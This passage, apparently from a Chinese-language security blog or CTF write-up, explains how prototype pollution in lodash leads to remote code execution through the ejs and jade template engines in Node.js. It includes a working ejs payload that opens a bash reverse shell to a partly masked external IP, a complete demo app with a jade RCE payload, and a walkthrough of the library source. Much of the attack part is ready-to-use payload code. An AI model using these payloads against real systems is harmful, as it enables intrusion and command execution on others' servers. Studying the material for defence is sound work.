var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}else {

console.log("Return recorder is less than 5,so return it without merge.");
var sql = "select `dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var ret = new Array();

for( var i =0 ;i< raws.length ; i++){
ret.push(JSON.parse( raws[i].dom ));
}

console.log(ret);
res.json(ret);
}

});

...

查看 /get 路由的逻辑,可以看到当条数大于五条时会触 merge 发合并操作,并且使用的是 lodash.defaultsDeep,这个方法存在原型链污染,在前文已经分析过不在多说。发现题目还使用了 ejs 模板引擎,我们可以通过 ejs 模板引擎进行 RCE。下面给出 payload:

1
{"type": "test", "content": {"constructor": {"prototype": {"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}}}}

/add 路由发送 6 次请求:

image-20210720004053895

然后访问 /get 路由进行原型链污染,最后访问 //login 路由触发 render 函数进行 ejs 模板 RCE,成功反弹 Shell:

image-20210720003008455

配合 jade 模板引擎实现 RCE

Nodejs 的 jade 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE,首先需要有原型链污染,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

  • app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash= require('lodash');
var jade = require('jade');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set("view engine", "jade");

//对原型进行污染
var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
res.render ("index.jade",{
message: 'whoami test'
});
});

//设置http
var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
  • index.jade
1
2
h1 #{message}
p #{message}

运行 app.js 后访问 8000 端口,成功弹出计算器:

image-20210720141033059

下面我们开始分析。

Jade 模板引擎 RCE 的挖掘思路和 ejs 模板的思路很像,当开始都是:res.render => app.render => tryRender => view.render => this.engine,然后从 engine 开始进入 jade 模板,jade 入口是 exports.__express

image-20210720145538028

首先可以看到 options.compileDebug 无初始值,所以我们可以通过原型污染覆盖开启 Debug 模式,即:

1
{"__proto__":{"compileDebug":1}}

然后会进入 renderFile 方法,跟进之:

  • node_modules/jade/lib/index.js

image-20210720141854347

返回的时候进入了 handleTemplateCache 方法,跟进 handleTemplateCache:

  • node_modules/jade/lib/index.js

image-20210720142017693

进入 complie 方法,跟进 complie:

  • node_modules/jade/lib/index.js

image-20210720145728178

Jade 模板和 ejs 不同,在 compile 编译之前会有 parse 解析,跟进 parse:

  • node_modules/jade/lib/index.js

image-20210720150103103

在 parse 中先经过 parser.parse 解析,然后由 compiler.compile 进行编译,最后返回编译后代码:

image-20210720150246891

但是在 body 中存在发现报错处理入口 addWith,只要不进入这个条件分支就可以避免报错了,也就需要我们通过原型污染将 self 覆盖为 true:

1
{"__proto__":{"compileDebug":1,"self":1}}

然后我们回过头来跟进 compiler.compile,看看其作用:

  • node_modules/jade/lib/compiler.js

image-20210720150713759

首先,编译后代码会存放在 this.buf 中,然后通过 this.visit(this.node) 遍历分析 parse 产生的 AST 树 this.node,跟进 visit:

  • node_modules/jade/lib/compiler.js

image-20210720151250854

可以看到,如果 debug 为真,则 node.line 就会被 push 进去,并造成拼接,然后就可以返回 buf 部分进行命令执行。所以最终的 Payload 如下:

1
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}

未完待续……

nodejs-i18n-tutorial

关于 ejs 和 jade 模板的语句拼接, 官方承认不是一个漏洞, 原型链的危害很大, 但是原型链污染攻击有个弊端,就是一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响!

写了个简单的 POC 生成脚本, 直接生成两个模板引擎的 POC, 上传到了 github

参考:

https://www.0xdawn.cn/?p=1198